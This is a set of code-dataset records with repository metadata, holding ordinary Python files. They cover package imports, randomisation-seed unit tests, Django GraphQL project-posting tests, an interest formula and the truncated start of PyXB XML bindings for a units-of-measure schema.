5fb89c5956dbb490de8d1a55b017d9c01a0208ad | 231 | py | Python | server/src/prefect_server/database/__init__.py | louisditzel/prefect | b1a02fee623b965e756a38aa09059db780ab67eb | [
"ECL-2.0",
"Apache-2.0"
] | 1 | 2020-08-01T15:44:32.000Z | 2020-08-01T15:44:32.000Z | server/src/prefect_server/database/__init__.py | louisditzel/prefect | b1a02fee623b965e756a38aa09059db780ab67eb | [
"ECL-2.0",
"Apache-2.0"
] | 3 | 2022-02-14T11:25:57.000Z | 2022-02-27T16:25:14.000Z | server/src/prefect_server/database/__init__.py | louisditzel/prefect | b1a02fee623b965e756a38aa09059db780ab67eb | [
"ECL-2.0",
"Apache-2.0"
] | 1 | 2020-05-04T13:22:11.000Z | 2020-05-04T13:22:11.000Z | # Licensed under the Prefect Community License, available at
# https://www.prefect.io/legal/prefect-community-license
import prefect_server.database.hasura
import prefect_server.database.orm
import prefect_server.database.models
| 28.875 | 60 | 0.839827 | 31 | 231 | 6.16129 | 0.580645 | 0.204188 | 0.298429 | 0.424084 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.082251 | 231 | 7 | 61 | 33 | 0.900943 | 0.489177 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
395dfbbb276bb415ddcb736bd806e7236efeaa3b | 45 | py | Python | timbot/__init__.py | palmerito0/timbot | 01b08dfdeb06768a61b12234224ff51ada81618e | [
"MIT"
] | null | null | null | timbot/__init__.py | palmerito0/timbot | 01b08dfdeb06768a61b12234224ff51ada81618e | [
"MIT"
] | null | null | null | timbot/__init__.py | palmerito0/timbot | 01b08dfdeb06768a61b12234224ff51ada81618e | [
"MIT"
] | null | null | null | from timbot import *
from timbot.bot import * | 22.5 | 24 | 0.777778 | 7 | 45 | 5 | 0.571429 | 0.571429 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.155556 | 45 | 2 | 24 | 22.5 | 0.921053 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
399d7098ed66e63a6be19906546d9d5b6e465174 | 264 | py | Python | entity/cards/LETL_012H/__init__.py | x014/lushi_script | edab2b88e3f0de8139de2541ab2daa331f777c0e | [
"MIT"
] | 102 | 2021-10-20T09:06:39.000Z | 2022-03-28T13:35:11.000Z | entity/cards/LETL_012H/__init__.py | x014/lushi_script | edab2b88e3f0de8139de2541ab2daa331f777c0e | [
"MIT"
] | 98 | 2021-10-19T16:13:27.000Z | 2022-03-27T13:27:49.000Z | entity/cards/LETL_012H/__init__.py | x014/lushi_script | edab2b88e3f0de8139de2541ab2daa331f777c0e | [
"MIT"
] | 55 | 2021-10-19T03:56:50.000Z | 2022-03-25T08:25:26.000Z | # -*- coding: utf-8 -*-
import entity.cards.LETL_012H.LETL_012P4
import entity.cards.LETL_012H.LETL_012P6
import entity.cards.LETL_012H.LETL_012P7
import entity.cards.LETL_012H.LETL_690
import entity.cards.LETL_012H.LETL_691
import entity.cards.LETL_012H.LETL_692
| 33 | 40 | 0.833333 | 45 | 264 | 4.622222 | 0.311111 | 0.346154 | 0.490385 | 0.605769 | 0.836538 | 0.836538 | 0 | 0 | 0 | 0 | 0 | 0.161943 | 0.064394 | 264 | 7 | 41 | 37.714286 | 0.680162 | 0.079545 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 8 |
39c045c4ae5f6763fb7b2bdd848c4dd79f80eecc | 5,404 | py | Python | ve/unit/test_randstate.py | fvutils/py-vsc | e30ffae1b750d8182d102b1fe5b1cfdce017a092 | [
"Apache-2.0"
] | null | null | null | ve/unit/test_randstate.py | fvutils/py-vsc | e30ffae1b750d8182d102b1fe5b1cfdce017a092 | [
"Apache-2.0"
] | null | null | null | ve/unit/test_randstate.py | fvutils/py-vsc | e30ffae1b750d8182d102b1fe5b1cfdce017a092 | [
"Apache-2.0"
] | null | null | null | '''
Created on Oct 12, 2021
@author: mballance
'''
import vsc
from vsc.model.rand_state import RandState
from vsc_test_case import VscTestCase
class TestRandState(VscTestCase):
def test_init_state(self):
@vsc.randobj
class item_c(object):
def __init__(self):
self.a = vsc.rand_uint8_t()
self.b = vsc.rand_uint8_t()
@vsc.constraint
def ab_c(self):
self.a < self.b
ci = item_c()
v1 = []
v2 = []
rs1 = RandState(0)
ci.set_randstate(rs1)
for _ in range(100):
ci.randomize()
v1.append((ci.a,ci.b))
rs2 = RandState(100)
ci.set_randstate(rs2)
for _ in range(100):
ci.randomize()
v2.append((ci.a,ci.b))
# Check that two lists are not exactly equal
all_equal = True
for i in range(len(v1)):
if v1[i][0] != v2[i][0] or v1[i][1] != v2[i][1]:
all_equal = False
break
self.assertFalse(all_equal)
def test_same_seed_str(self):
@vsc.randobj
class item_c(object):
def __init__(self):
self.a = vsc.rand_uint8_t()
self.b = vsc.rand_uint8_t()
@vsc.constraint
def ab_c(self):
self.a < self.b
ci = item_c()
v1 = []
v2 = []
print("Iteration 1")
rs1 = RandState.mkFromSeed(10, "abc")
ci.set_randstate(rs1)
for _ in range(10):
ci.randomize()
v1.append((ci.a,ci.b))
print("Iteration 2")
rs2 = RandState.mkFromSeed(10, "abc")
ci.set_randstate(rs2)
for _ in range(10):
ci.randomize()
v2.append((ci.a,ci.b))
# Check that two lists are not exactly equal
all_equal = True
for i in range(len(v1)):
print("[%d] v1=(%d,%d) v2=(%d,%d)" % (
i, v1[i][0], v1[i][1],
v2[i][0], v2[i][1]))
if v1[i][0] != v2[i][0] or v1[i][1] != v2[i][1]:
all_equal = False
# break
self.assertTrue(all_equal)
def test_diff_seed(self):
@vsc.randobj
class item_c(object):
def __init__(self):
self.a = vsc.rand_uint8_t()
self.b = vsc.rand_uint8_t()
@vsc.constraint
def ab_c(self):
self.a < self.b
ci = item_c()
v1 = []
v2_1 = []
v2_2 = []
print("Iteration 1")
rs1 = RandState.mkFromSeed(0)
ci.set_randstate(rs1)
for _ in range(10):
ci.randomize()
v1.append((ci.a,ci.b))
rand_s = rs1.randint(0, 1000000)
rs2_1 = RandState.mkFromSeed(rand_s)
rs2_2 = RandState.mkFromSeed(rand_s)
print("Iteration 2_1")
ci.set_randstate(rs2_1)
for _ in range(10):
ci.randomize()
v2_1.append((ci.a,ci.b))
print("Iteration 2_2")
ci.set_randstate(rs2_2)
for _ in range(10):
ci.randomize()
v2_2.append((ci.a,ci.b))
# Check that two lists are not exactly equal
all_equal = True
for i in range(len(v1)):
print("[%d] v2_1=(%d,%d) v2_2=(%d,%d)" % (
i, v2_1[i][0], v2_1[i][1],
v2_2[i][0], v2_2[i][1]))
if v2_1[i][0] != v2_2[i][0] or v2_1[i][1] != v2_2[i][1]:
all_equal = False
break
self.assertTrue(all_equal)
# Check that we have differences from the first set
all_equal = True
for i in range(len(v1)):
print("[%d] v1=(%d,%d) v2_2=(%d,%d)" % (
i, v1[i][0], v1[i][1],
v2_2[i][0], v2_2[i][1]))
if v1[i][0] != v2_2[i][0] or v1[i][1] != v2_2[i][1]:
all_equal = False
break
self.assertFalse(all_equal)
def test_rerun_same_seed(self):
@vsc.randobj
class item_c(object):
def __init__(self):
self.a = vsc.rand_uint8_t()
self.b = vsc.rand_uint8_t()
@vsc.constraint
def ab_c(self):
self.a < self.b
ci = item_c()
v1 = []
v2 = []
print("Iteration 1")
rs1 = RandState(0)
ci.set_randstate(rs1)
for _ in range(10):
ci.randomize()
v1.append((ci.a,ci.b))
print("Iteration 2")
ci.set_randstate(rs1)
for _ in range(10):
ci.randomize()
v2.append((ci.a,ci.b))
# Check that two lists are not exactly equal
all_equal = True
for i in range(len(v1)):
print("[%d] v1=(%d,%d) v2=(%d,%d)" % (
i, v1[i][0], v1[i][1],
v2[i][0], v2[i][1]))
if v1[i][0] != v2[i][0] or v1[i][1] != v2[i][1]:
all_equal = False
# break
self.assertTrue(all_equal)
| 27.02 | 68 | 0.438934 | 701 | 5,404 | 3.215407 | 0.119829 | 0.015972 | 0.017746 | 0.043922 | 0.828749 | 0.8252 | 0.806122 | 0.730701 | 0.707631 | 0.707631 | 0 | 0.0663 | 0.427831 | 5,404 | 199 | 69 | 27.155779 | 0.662678 | 0.056995 | 0 | 0.806897 | 0 | 0 | 0.038772 | 0 | 0 | 0 | 0 | 0 | 0.034483 | 1 | 0.082759 | false | 0 | 0.02069 | 0 | 0.137931 | 0.075862 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
ffc74e92622615ace45da484848fb3662534e39b | 23,198 | py | Python | api/tests/test_project_posting.py | matchd-ch/matchd-backend | 84be4aab1b4708cae50a8988301b15df877c8db0 | [
"Apache-2.0"
] | 1 | 2022-03-03T09:55:57.000Z | 2022-03-03T09:55:57.000Z | api/tests/test_project_posting.py | matchd-ch/matchd-backend | 84be4aab1b4708cae50a8988301b15df877c8db0 | [
"Apache-2.0"
] | 7 | 2022-02-09T10:44:53.000Z | 2022-03-28T03:29:43.000Z | api/tests/test_project_posting.py | matchd-ch/matchd-backend | 84be4aab1b4708cae50a8988301b15df877c8db0 | [
"Apache-2.0"
] | null | null | null | import pytest
from django.contrib.auth.models import AnonymousUser
from graphql_relay import to_global_id
from api.tests.helper.node_helper import assert_node_field, assert_node_id
from db.models import ProjectPosting, ProjectPostingState
# pylint: disable=R0913
@pytest.mark.django_db
def test_student_project_posting(query_project_posting,
company_project_posting_object: ProjectPosting,
project_type_objects, topic_objects, keyword_objects, user_student,
user_employee):
company_project_posting_object.title = 'title'
company_project_posting_object.slug = 'title'
company_project_posting_object.description = 'description'
company_project_posting_object.additional_information = 'additional information'
company_project_posting_object.project_from_date = '2021-08-01'
company_project_posting_object.website = 'http://www.project-posting.lo'
company_project_posting_object.topic = topic_objects[0]
company_project_posting_object.project_type = project_type_objects[0]
company_project_posting_object.form_step = 3
company_project_posting_object.company = None
company_project_posting_object.employee = None
company_project_posting_object.student = user_student.student
company_project_posting_object.state = ProjectPostingState.PUBLIC
company_project_posting_object.save()
company_project_posting_object.keywords.set(keyword_objects)
data, errors = query_project_posting(user_employee, company_project_posting_object.slug)
assert errors is None
assert data is not None
project_posting = data.get('projectPosting')
assert project_posting.get('title') == 'title'
assert project_posting.get('displayTitle') == 'tit\xadle'
assert project_posting.get('slug') == company_project_posting_object.slug
assert project_posting.get('description') == company_project_posting_object.description
assert project_posting.get(
'additionalInformation') == company_project_posting_object.additional_information
assert project_posting.get('projectFromDate') == '2021-08-01'
assert project_posting.get('website') == company_project_posting_object.website
assert project_posting.get('topic').get('id') == to_global_id(
'Topic', company_project_posting_object.topic_id)
assert project_posting.get('projectType').get('id') == to_global_id(
'ProjectType', company_project_posting_object.project_type_id)
assert int(project_posting.get('formStep')) == company_project_posting_object.form_step
assert project_posting.get('company') is None
assert project_posting.get('employee') is None
assert project_posting.get('student').get('id') == to_global_id('Student',
user_student.student.id)
assert len(project_posting.get('keywords')) == len(
company_project_posting_object.keywords.all())
assert project_posting.get('state') == company_project_posting_object.state.upper()
match_status = project_posting.get('matchStatus')
assert match_status is None
match_hints = project_posting.get('matchHints')
assert match_hints is None
@pytest.mark.django_db
def test_student_project_posting_draft(query_project_posting,
company_project_posting_object: ProjectPosting,
project_type_objects, topic_objects, keyword_objects,
user_student):
company_project_posting_object.title = 'title'
company_project_posting_object.slug = 'title'
company_project_posting_object.description = 'description'
company_project_posting_object.additional_information = 'additional information'
company_project_posting_object.project_from_date = '2021-08-01'
company_project_posting_object.website = 'http://www.project-posting.lo'
company_project_posting_object.topic = topic_objects[0]
company_project_posting_object.project_type = project_type_objects[0]
company_project_posting_object.form_step = 3
company_project_posting_object.company = None
company_project_posting_object.employee = None
company_project_posting_object.student = user_student.student
company_project_posting_object.state = ProjectPostingState.DRAFT
company_project_posting_object.save()
company_project_posting_object.keywords.set(keyword_objects)
data, errors = query_project_posting(user_student, company_project_posting_object.slug)
assert errors is None
assert data is not None
project_posting = data.get('projectPosting')
assert project_posting.get('title') == 'title'
assert project_posting.get('displayTitle') == 'tit\xadle'
assert project_posting.get('slug') == company_project_posting_object.slug
assert project_posting.get('description') == company_project_posting_object.description
assert project_posting.get(
'additionalInformation') == company_project_posting_object.additional_information
assert project_posting.get('projectFromDate') == '2021-08-01'
assert project_posting.get('website') == company_project_posting_object.website
assert project_posting.get('topic').get('id') == to_global_id(
'Topic', company_project_posting_object.topic_id)
assert project_posting.get('projectType').get('id') == to_global_id(
'ProjectType', company_project_posting_object.project_type_id)
assert int(project_posting.get('formStep')) == company_project_posting_object.form_step
assert project_posting.get('company') is None
assert project_posting.get('employee') is None
assert project_posting.get('student').get('id') == to_global_id('Student',
user_student.student.id)
assert len(project_posting.get('keywords')) == len(
company_project_posting_object.keywords.all())
assert project_posting.get('state') == company_project_posting_object.state.upper()
match_status = project_posting.get('matchStatus')
assert match_status is None
match_hints = project_posting.get('matchHints')
assert match_hints is None
@pytest.mark.django_db
def test_student_project_posting_by_id(query_project_posting_by_id,
company_project_posting_object: ProjectPosting,
project_type_objects, topic_objects, keyword_objects,
user_student):
company_project_posting_object.title = 'title'
company_project_posting_object.slug = 'title'
company_project_posting_object.description = 'description'
company_project_posting_object.additional_information = 'additional information'
company_project_posting_object.project_from_date = '2021-08-01'
company_project_posting_object.website = 'http://www.project-posting.lo'
company_project_posting_object.topic = topic_objects[0]
company_project_posting_object.project_type = project_type_objects[0]
company_project_posting_object.form_step = 3
company_project_posting_object.company = None
company_project_posting_object.employee = None
company_project_posting_object.student = user_student.student
company_project_posting_object.state = ProjectPostingState.PUBLIC
company_project_posting_object.save()
company_project_posting_object.keywords.set(keyword_objects)
data, errors = query_project_posting_by_id(user_student, company_project_posting_object.id)
assert errors is None
assert data is not None
project_posting = data.get('projectPosting')
assert project_posting.get('title') == 'title'
assert project_posting.get('displayTitle') == 'tit\xadle'
assert project_posting.get('slug') == company_project_posting_object.slug
assert project_posting.get('description') == company_project_posting_object.description
assert project_posting.get(
'additionalInformation') == company_project_posting_object.additional_information
assert project_posting.get('projectFromDate') == '2021-08-01'
assert project_posting.get('website') == company_project_posting_object.website
assert project_posting.get('topic').get('id') == to_global_id(
'Topic', company_project_posting_object.topic_id)
assert project_posting.get('projectType').get('id') == to_global_id(
'ProjectType', company_project_posting_object.project_type_id)
assert int(project_posting.get('formStep')) == company_project_posting_object.form_step
assert project_posting.get('company') is None
assert project_posting.get('employee') is None
assert project_posting.get('student').get('id') == to_global_id('Student',
user_student.student.id)
assert len(project_posting.get('keywords')) == len(
company_project_posting_object.keywords.all())
assert project_posting.get('state') == company_project_posting_object.state.upper()
match_status = project_posting.get('matchStatus')
assert match_status is None
match_hints = project_posting.get('matchHints')
assert match_hints is None
@pytest.mark.django_db
def test_company_project_posting(query_project_posting,
company_project_posting_object: ProjectPosting,
project_type_objects, topic_objects, keyword_objects,
user_employee):
company_project_posting_object.title = 'title'
company_project_posting_object.slug = 'title'
company_project_posting_object.description = 'description'
company_project_posting_object.additional_information = 'additional information'
company_project_posting_object.project_from_date = '2021-08-01'
company_project_posting_object.website = 'http://www.project-posting.lo'
company_project_posting_object.topic = topic_objects[0]
company_project_posting_object.project_type = project_type_objects[0]
company_project_posting_object.form_step = 3
company_project_posting_object.company = user_employee.company
company_project_posting_object.employee = user_employee.employee
company_project_posting_object.student = None
company_project_posting_object.state = ProjectPostingState.PUBLIC
company_project_posting_object.save()
company_project_posting_object.keywords.set(keyword_objects)
data, errors = query_project_posting(user_employee, company_project_posting_object.slug)
assert errors is None
assert data is not None
project_posting = data.get('projectPosting')
assert project_posting.get('title') == 'title'
assert project_posting.get('displayTitle') == 'tit\xadle'
assert project_posting.get('slug') == company_project_posting_object.slug
assert project_posting.get('description') == company_project_posting_object.description
assert project_posting.get(
'additionalInformation') == company_project_posting_object.additional_information
assert project_posting.get('projectFromDate') == '2021-08-01'
assert project_posting.get('website') == company_project_posting_object.website
assert project_posting.get('topic').get('id') == to_global_id(
'Topic', company_project_posting_object.topic_id)
assert project_posting.get('projectType').get('id') == to_global_id(
'ProjectType', company_project_posting_object.project_type_id)
assert int(project_posting.get('formStep')) == company_project_posting_object.form_step
assert project_posting.get('company').get('id') == to_global_id('Company',
user_employee.company.id)
assert project_posting.get('employee').get('id') == to_global_id('Employee',
user_employee.employee.id)
assert project_posting.get('student') is None
assert len(project_posting.get('keywords')) == len(
company_project_posting_object.keywords.all())
assert project_posting.get('state') == company_project_posting_object.state.upper()
match_status = project_posting.get('matchStatus')
assert match_status is None
match_hints = project_posting.get('matchHints')
assert match_hints is None
@pytest.mark.django_db
def test_company_project_posting_draft(query_project_posting,
company_project_posting_object: ProjectPosting,
project_type_objects, topic_objects, keyword_objects,
user_employee):
company_project_posting_object.title = 'title'
company_project_posting_object.slug = 'title'
company_project_posting_object.description = 'description'
company_project_posting_object.additional_information = 'additional information'
company_project_posting_object.project_from_date = '2021-08-01'
company_project_posting_object.website = 'http://www.project-posting.lo'
company_project_posting_object.topic = topic_objects[0]
company_project_posting_object.project_type = project_type_objects[0]
company_project_posting_object.form_step = 3
company_project_posting_object.company = user_employee.company
company_project_posting_object.employee = user_employee.employee
company_project_posting_object.student = None
company_project_posting_object.state = ProjectPostingState.DRAFT
company_project_posting_object.save()
company_project_posting_object.keywords.set(keyword_objects)
data, errors = query_project_posting(user_employee, company_project_posting_object.slug)
assert errors is None
assert data is not None
project_posting = data.get('projectPosting')
assert project_posting.get('title') == 'title'
assert project_posting.get('displayTitle') == 'tit\xadle'
assert project_posting.get('slug') == company_project_posting_object.slug
assert project_posting.get('description') == company_project_posting_object.description
assert project_posting.get(
'additionalInformation') == company_project_posting_object.additional_information
assert project_posting.get('projectFromDate') == '2021-08-01'
assert project_posting.get('website') == company_project_posting_object.website
assert project_posting.get('topic').get('id') == to_global_id(
'Topic', company_project_posting_object.topic_id)
assert project_posting.get('projectType').get('id') == to_global_id(
'ProjectType', company_project_posting_object.project_type_id)
assert int(project_posting.get('formStep')) == company_project_posting_object.form_step
assert project_posting.get('company').get('id') == to_global_id('Company',
user_employee.company.id)
assert project_posting.get('employee').get('id') == to_global_id('Employee',
user_employee.employee.id)
assert project_posting.get('student') is None
assert len(project_posting.get('keywords')) == len(
company_project_posting_object.keywords.all())
assert project_posting.get('state') == company_project_posting_object.state.upper()
match_status = project_posting.get('matchStatus')
assert match_status is None
match_hints = project_posting.get('matchHints')
assert match_hints is None
@pytest.mark.django_db
def test_company_project_posting_by_id(query_project_posting_by_id,
company_project_posting_object: ProjectPosting,
project_type_objects, topic_objects, keyword_objects,
user_employee):
company_project_posting_object.title = 'title'
company_project_posting_object.slug = 'title'
company_project_posting_object.description = 'description'
company_project_posting_object.additional_information = 'additional information'
company_project_posting_object.project_from_date = '2021-08-01'
company_project_posting_object.website = 'http://www.project-posting.lo'
company_project_posting_object.topic = topic_objects[0]
company_project_posting_object.project_type = project_type_objects[0]
company_project_posting_object.form_step = 3
company_project_posting_object.company = user_employee.company
company_project_posting_object.employee = user_employee.employee
company_project_posting_object.student = None
company_project_posting_object.state = ProjectPostingState.PUBLIC
company_project_posting_object.save()
company_project_posting_object.keywords.set(keyword_objects)
data, errors = query_project_posting_by_id(user_employee, company_project_posting_object.id)
assert errors is None
assert data is not None
project_posting = data.get('projectPosting')
assert project_posting.get('title') == 'title'
assert project_posting.get('displayTitle') == 'tit\xadle'
assert project_posting.get('slug') == company_project_posting_object.slug
assert project_posting.get('description') == company_project_posting_object.description
assert project_posting.get(
'additionalInformation') == company_project_posting_object.additional_information
assert project_posting.get('projectFromDate') == '2021-08-01'
assert project_posting.get('website') == company_project_posting_object.website
assert project_posting.get('topic').get('id') == to_global_id(
'Topic', company_project_posting_object.topic_id)
assert project_posting.get('projectType').get('id') == to_global_id(
'ProjectType', company_project_posting_object.project_type_id)
assert int(project_posting.get('formStep')) == company_project_posting_object.form_step
assert project_posting.get('company').get('id') == to_global_id('Company',
user_employee.company.id)
assert project_posting.get('employee').get('id') == to_global_id('Employee',
user_employee.employee.id)
assert project_posting.get('student') is None
assert len(project_posting.get('keywords')) == len(
company_project_posting_object.keywords.all())
assert project_posting.get('state') == company_project_posting_object.state.upper()
match_status = project_posting.get('matchStatus')
assert match_status is None
match_hints = project_posting.get('matchHints')
assert match_hints is None
@pytest.mark.django_db
def test_student_project_posting_draft_not_accessible(
query_project_posting, company_project_posting_object: ProjectPosting, project_type_objects,
topic_objects, keyword_objects, user_student, user_employee):
company_project_posting_object.title = 'title'
company_project_posting_object.slug = 'title'
company_project_posting_object.description = 'description'
company_project_posting_object.additional_information = 'additional information'
company_project_posting_object.project_from_date = '2021-08-01'
company_project_posting_object.website = 'http://www.project-posting.lo'
company_project_posting_object.topic = topic_objects[0]
company_project_posting_object.project_type = project_type_objects[0]
company_project_posting_object.form_step = 3
company_project_posting_object.company = None
company_project_posting_object.employee = None
company_project_posting_object.student = user_student.student
company_project_posting_object.state = ProjectPostingState.DRAFT
company_project_posting_object.save()
company_project_posting_object.keywords.set(keyword_objects)
data, errors = query_project_posting(user_employee, company_project_posting_object.slug)
assert errors is not None
assert data is not None
assert data.get('projectPosting') is None
@pytest.mark.django_db
def test_company_project_posting_draft_not_accessible(
query_project_posting, company_project_posting_object: ProjectPosting, project_type_objects,
topic_objects, keyword_objects, user_employee, user_student):
company_project_posting_object.title = 'title'
company_project_posting_object.slug = 'title'
company_project_posting_object.description = 'description'
company_project_posting_object.additional_information = 'additional information'
company_project_posting_object.project_from_date = '2021-08-01'
company_project_posting_object.website = 'http://www.project-posting.lo'
company_project_posting_object.topic = topic_objects[0]
company_project_posting_object.project_type = project_type_objects[0]
company_project_posting_object.form_step = 3
company_project_posting_object.company = user_employee.company
company_project_posting_object.employee = user_employee.employee
company_project_posting_object.student = None
company_project_posting_object.state = ProjectPostingState.DRAFT
company_project_posting_object.save()
company_project_posting_object.keywords.set(keyword_objects)
data, errors = query_project_posting(user_student, company_project_posting_object.slug)
assert errors is not None
assert data is not None
assert data.get('projectPosting') is None
@pytest.mark.django_db
def test_project_postings(query_project_postings, company_project_posting_objects, user_employee):
data, errors = query_project_postings(user_employee)
assert errors is None
assert data is not None
edges = data.get('projectPostings').get('edges')
assert edges is not None
assert len(edges) == len(company_project_posting_objects) - 1
assert_node_id(edges[0].get('node'), 'ProjectPosting', company_project_posting_objects[0].id)
assert_node_id(edges[1].get('node'), 'ProjectPosting', company_project_posting_objects[1].id)
assert_node_field(edges[0].get('node'), 'slug', company_project_posting_objects[0].slug)
assert_node_field(edges[1].get('node'), 'slug', company_project_posting_objects[1].slug)
@pytest.mark.django_db
def test_node_query(query_project_posting_node, company_project_posting_objects, user_employee):
data, errors = query_project_posting_node(user_employee, company_project_posting_objects[0].id)
assert errors is None
assert data is not None
node = data.get('node')
assert node is not None
assert_node_id(node, 'ProjectPosting', company_project_posting_objects[0].id)
assert_node_field(node, 'slug', company_project_posting_objects[0].slug)
@pytest.mark.django_db
def test_node_without_login_query(query_project_posting_node, company_project_posting_objects):
data, errors = query_project_posting_node(AnonymousUser(),
company_project_posting_objects[0].id)
assert errors is not None
assert data is not None
error = errors[0].get('message')
node = data.get('node')
assert node is None
assert error == "You do not have permission to perform this action"
| 52.722727 | 100 | 0.745625 | 2,754 | 23,198 | 5.885258 | 0.037037 | 0.298865 | 0.266905 | 0.31651 | 0.966436 | 0.963783 | 0.960143 | 0.951012 | 0.942127 | 0.928986 | 0 | 0.008005 | 0.170661 | 23,198 | 439 | 101 | 52.842825 | 0.834451 | 0.000905 | 0 | 0.898123 | 0 | 0 | 0.09493 | 0.005437 | 0 | 0 | 0 | 0 | 0.369973 | 1 | 0.029491 | false | 0 | 0.013405 | 0 | 0.042895 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 10 |
ffeee41f2d7a41b24c2e12db046103331d2b5f82 | 52 | py | Python | Chapter 1-4/ie.py | Null3rror/Engineering-Economics-Cheatsheet | 68639482d4db071bf51c44f5d51fc978c7899b90 | [
"MIT"
] | null | null | null | Chapter 1-4/ie.py | Null3rror/Engineering-Economics-Cheatsheet | 68639482d4db071bf51c44f5d51fc978c7899b90 | [
"MIT"
] | null | null | null | Chapter 1-4/ie.py | Null3rror/Engineering-Economics-Cheatsheet | 68639482d4db071bf51c44f5d51fc978c7899b90 | [
"MIT"
] | null | null | null | def ie(r, t):
return ((1 + (r / t)) ** t) - 1
| 17.333333 | 36 | 0.346154 | 10 | 52 | 1.8 | 0.6 | 0.222222 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.060606 | 0.365385 | 52 | 2 | 37 | 26 | 0.484848 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.5 | false | 0 | 0 | 0.5 | 1 | 0 | 1 | 0 | 1 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 8 |
fff01416168f1016d0e7409ceede2fc00e7f0800 | 174,758 | py | Python | komle/bindings/uom.py | renrawse/komle | 016b6d62aad0aacf50f419fa143518ff39b7709e | [
"Apache-2.0"
] | 16 | 2020-04-17T11:24:59.000Z | 2022-02-24T14:54:14.000Z | komle/bindings/uom.py | gogo2009/komle | d598ecba841b3b0aa243ffa6fb9ac59f86aaeba3 | [
"Apache-2.0"
] | 5 | 2021-02-16T08:26:42.000Z | 2021-12-13T20:51:20.000Z | komle/bindings/uom.py | gogo2009/komle | d598ecba841b3b0aa243ffa6fb9ac59f86aaeba3 | [
"Apache-2.0"
] | 15 | 2020-04-29T23:11:32.000Z | 2022-03-29T15:21:47.000Z | # komle/uom_bindings/uom.py
# -*- coding: utf-8 -*-
# PyXB bindings for NM:de5669d245f178776916647737ebc73cda75213c
# Generated 2020-04-19 10:21:50.429390 by PyXB version 1.2.6 using Python 3.7.5.final.0
# Namespace http://www.posc.org/schemas
from __future__ import unicode_literals
import pyxb
import pyxb.binding
import pyxb.binding.saxer
import io
import pyxb.utils.utility
import pyxb.utils.domutils
import sys
import pyxb.utils.six as _six
# Unique identifier for bindings created at the same time
_GenerationUID = pyxb.utils.utility.UniqueIdentifier('urn:uuid:d0c8f168-8216-11ea-8441-f1a2c51e3802')
# Version of PyXB used to generate the bindings
_PyXBVersion = '1.2.6'
# Generated bindings are not compatible across PyXB versions
if pyxb.__version__ != _PyXBVersion:
raise pyxb.PyXBVersionError(_PyXBVersion)
# A holder for module-level binding classes so we can access them from
# inside class definitions where property names may conflict.
_module_typeBindings = pyxb.utils.utility.Object()
# Import bindings for namespaces imported into schema
import pyxb.binding.datatypes
# NOTE: All namespace declarations are reserved within the binding
Namespace = pyxb.namespace.NamespaceForURI('http://www.posc.org/schemas', create_if_missing=True)
Namespace.configureCategories(['typeBinding', 'elementBinding'])
def CreateFromDocument (xml_text, default_namespace=None, location_base=None):
"""Parse the given XML and use the document element to create a
Python instance.
@param xml_text An XML document. This should be data (Python 2
str or Python 3 bytes), or a text (Python 2 unicode or Python 3
str) in the L{pyxb._InputEncoding} encoding.
@keyword default_namespace The L{pyxb.Namespace} instance to use as the
default namespace where there is no default namespace in scope.
If unspecified or C{None}, the namespace of the module containing
this function will be used.
@keyword location_base: An object to be recorded as the base of all
L{pyxb.utils.utility.Location} instances associated with events and
objects handled by the parser. You might pass the URI from which
the document was obtained.
"""
if pyxb.XMLStyle_saxer != pyxb._XMLStyle:
dom = pyxb.utils.domutils.StringToDOM(xml_text)
return CreateFromDOM(dom.documentElement, default_namespace=default_namespace)
if default_namespace is None:
default_namespace = Namespace.fallbackNamespace()
saxer = pyxb.binding.saxer.make_parser(fallback_namespace=default_namespace, location_base=location_base)
handler = saxer.getContentHandler()
xmld = xml_text
if isinstance(xmld, _six.text_type):
xmld = xmld.encode(pyxb._InputEncoding)
saxer.parse(io.BytesIO(xmld))
instance = handler.rootObject()
return instance
def CreateFromDOM (node, default_namespace=None):
